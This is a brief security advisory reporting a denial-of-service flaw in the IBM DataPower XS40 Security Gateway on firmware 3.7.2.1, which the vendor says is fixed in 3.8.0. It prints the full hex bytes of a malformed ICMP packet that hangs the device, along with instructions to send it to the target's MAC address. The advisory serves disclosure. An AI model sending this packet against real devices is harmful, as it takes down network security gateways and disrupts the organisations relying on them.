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It appears it is possible to disable the IBM DataPower XS40 Security
Gateway device by sending a malformed packet

to the network interface. The device will hang up itself without being able
to recover from it (no auto-reboot).

Tested vulnerable firmware is 3.7.2.1
Issue fixed according to vendor in 3.8.0 and better


To trigger the effect it is necessary to have IP.destination 0.0.0.0 in the
packet, so routing can only take place on the same subnet by inputting the
MAC-adress of the targeted device. Like this ICMP-packet, where

00.14.5e.a1.b2.c3 is the target MAC-adress;

00 14 5e a1 b2 c3 00 11 25 82 7b 02 08 00 45 00
00 50 4b 94 00 00 ff 01 5e f1 ac 12 65 15 00 00
00 00 03 01 06 f6 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00
00 20 ed 58 00 00 ff 11 a9 d4 ac 12 65 15 ac 12
65 65 01 00 00 00 29 00 cd 00 00 08 00 00


After sending this (sometimes it's necessary to sent it multiple times),
the device will hang and won't recover by itself.

Vendor's comment on this:
http://www-01.ibm.com/support/docview.wss?rs=2362&uid=swg1IC61364

  References :  

None